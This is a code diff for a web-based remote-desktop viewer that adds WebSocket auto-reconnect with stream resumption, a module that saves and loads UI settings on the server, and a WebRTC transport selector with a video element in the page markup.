    setCodecModeLabel("jpeg", "fallback");
@@ -1732,7 +1849,7 @@ import { createKeyboardCapture } from "./keyboard-capture.js";
    });
  }

-  ws.addEventListener("message", function (ev) {
+  function onWsMessage(ev) {
    if (ev.data instanceof ArrayBuffer) {
      const buf = new Uint8Array(ev.data);
      if (isFramePacket(buf)) {
@@ -1798,9 +1915,10 @@ import { createKeyboardCapture } from "./keyboard-capture.js";
      }
      return;
    }
-  });
+  }

-  ws.addEventListener("open", function () {
+  function onWsOpen() {
+    reconnectDelay = 1000;
    rdDebug("ws open", {
      url: ws.url,
      readyState: ws.readyState,
@@ -1812,7 +1930,27 @@ import { createKeyboardCapture } from "./keyboard-capture.js";
    pushInputToggles();
    pushCaptureToggles();
    clearOfflineTimer();
-    setStreamState("idle", "Stopped");
+    if (desiredStreaming) {
+      setStreamState("starting", "Resuming stream");
+      if (displaySelect && displaySelect.value !== undefined) {
+        sendCmd("desktop_select_display", {
+          display: parseInt(displaySelect.value, 10) || 0,
+        });
+      }
+      pushTargetFps();
+      pushResolution();
+      const mode = getWebrtcMode();
+      if (mode === "relayed") {
+        sendCmd("desktop_start", { webrtc: true });
+      } else if (mode === "p2p") {
+        sendCmd("desktop_start", {});
+        startP2P();
+      } else {
+        sendCmd("desktop_start", {});
+      }
+    } else {
+      setStreamState("idle", "Stopped");
+    }
    sendCmd("desktop_record_status", {});
    fetchClientInfo().then(() => {
      if (displaySelect && displaySelect.value) {
@@ -1822,9 +1960,9 @@ import { createKeyboardCapture } from "./keyboard-capture.js";
        });
      }
    });
-  });
+  }

-  ws.addEventListener("close", function (event) {
+  function onWsClose(event) {
    rdDebug("ws close", {
      code: event.code,
      reason: event.reason,
@@ -1832,22 +1970,28 @@ import { createKeyboardCapture } from "./keyboard-capture.js";
      streamState,
      desiredStreaming,
    });
-    desiredStreaming = false;
    disconnectAudio();
    destroyVideoDecoder();
    stopAllWebrtc();
-    clearRecordingTimer();
-    serverRecording = null;
-    setRecordingUi(false);
-    setStreamState("disconnected", "Disconnected");
-  });
+    if (desiredStreaming) {
+      setStreamState("connecting", "Reconnecting");
+      scheduleReconnect();
+    } else {
+      clearRecordingTimer();
+      serverRecording = null;
+      setRecordingUi(false);
+      setStreamState("disconnected", "Disconnected");
+    }
+  }

-  ws.addEventListener("error", function (event) {
+  function onWsError(event) {
    console.warn("rd: ws error", event);
    destroyVideoDecoder();
    stopAllWebrtc();
    setStreamState("error", "WebSocket error");
-  });
+  }
+
+  connectWs();

  if (!frameWatchTimer) {
    frameWatchTimer = setInterval(() => {
@@ -1911,7 +2055,7 @@ import { createKeyboardCapture } from "./keyboard-capture.js";
    }

    lastMoveSentAt = now;
-    if (ws.bufferedAmount <= inputBackpressureBytes) {
+    if (ws && ws.bufferedAmount <= inputBackpressureBytes) {
      sendCmd("mouse_move", sendPoint);
    }
  }
@@ -1966,8 +2110,9 @@ import { createKeyboardCapture } from "./keyboard-capture.js";
  });

  function stopOnExit() {
+    sharedSettingsSaver.saveNow();
    if (isRecording()) stopRecording();
-    if (ws.readyState === WebSocket.OPEN && desiredStreaming) {
+    if (ws && ws.readyState === WebSocket.OPEN && desiredStreaming) {
      desiredStreaming = false;
      sendCmd("desktop_stop", {});
    }
@@ -0,0 +1,60 @@
+export async function loadSharedUiSettings(scope) {
+  try {
+    const res = await fetch(`/api/ui-settings/${encodeURIComponent(scope)}`, {
+      credentials: "include",
+    });
+    if (!res.ok) return {};
+    const data = await res.json().catch(() => ({}));
+    return data && typeof data.settings === "object" && data.settings ? data.settings : {};
+  } catch (err) {
+    console.warn(`ui-settings: failed to load ${scope}`, err);
+    return {};
+  }
+}
+
+export function createSharedUiSettingsSaver(scope, readSettings, delayMs = 350) {
+  let timer = null;
+  let lastPayload = "";
+
+  async function saveNow() {
+    if (timer) {
+      clearTimeout(timer);
+      timer = null;
+    }
+
+    let settings = {};
+    try {
+      settings = readSettings() || {};
+    } catch (err) {
+      console.warn(`ui-settings: failed to read ${scope}`, err);
+      return;
+    }
+
+    const payload = JSON.stringify(settings);
+    if (payload === lastPayload) return;
+    lastPayload = payload;
+
+    try {
+      const res = await fetch(`/api/ui-settings/${encodeURIComponent(scope)}`, {
+        method: "PUT",
+        credentials: "include",
+        keepalive: true,
+        headers: { "Content-Type": "application/json" },
+        body: JSON.stringify({ settings }),
+      });
+      if (!res.ok) {
+        lastPayload = "";
+      }
+    } catch (err) {
+      lastPayload = "";
+      console.warn(`ui-settings: failed to save ${scope}`, err);
+    }
+  }
+
+  function scheduleSave() {
+    if (timer) clearTimeout(timer);
+    timer = setTimeout(saveNow, delayMs);
+  }
+
+  return { scheduleSave, saveNow };
+}
@@ -148,6 +148,14 @@
                  />
                  <span id="qualityValue" class="pill pill-ghost text-slate-100 text-xs min-w-[44px] text-center">95%</span>
                </div>
+                <div class="flex items-center gap-2 mb-2">
+                  <label class="text-sm text-slate-300 w-20" for="webrtcMode">Transport</label>
+                  <select id="webrtcMode" class="flex-1 bg-slate-800 border border-slate-700 rounded px-2 py-1 text-sm text-slate-100" title="Streaming transport. P2P: browser to agent direct, server only relays signaling. Relayed: through MediaMTX.">
+                    <option value="off" selected>Canvas</option>
+                    <option value="p2p">WebRTC P2P</option>
+                    <option value="relayed">WebRTC Relayed</option>
+                  </select>
+                </div>
                <div class="flex items-center justify-between gap-2">
                  <label class="flex items-center gap-2 text-sm text-slate-200" title="Prefer H.264 when available; disable to force JPEG">
                    <input type="checkbox" id="codecH264" checked /> H.264
@@ -209,6 +217,20 @@
                height: auto;
              "
            ></canvas>
+            <video
+              id="webrtcVideo"
+              class="bg-slate-950"
+              autoplay
+              playsinline
+              muted
+              style="
+                display: none;
+                max-width: 100%;
+                max-height: 100%;
+                width: auto;
+                height: auto;
+              "
+            ></video>
          </div>
        </div>
        <div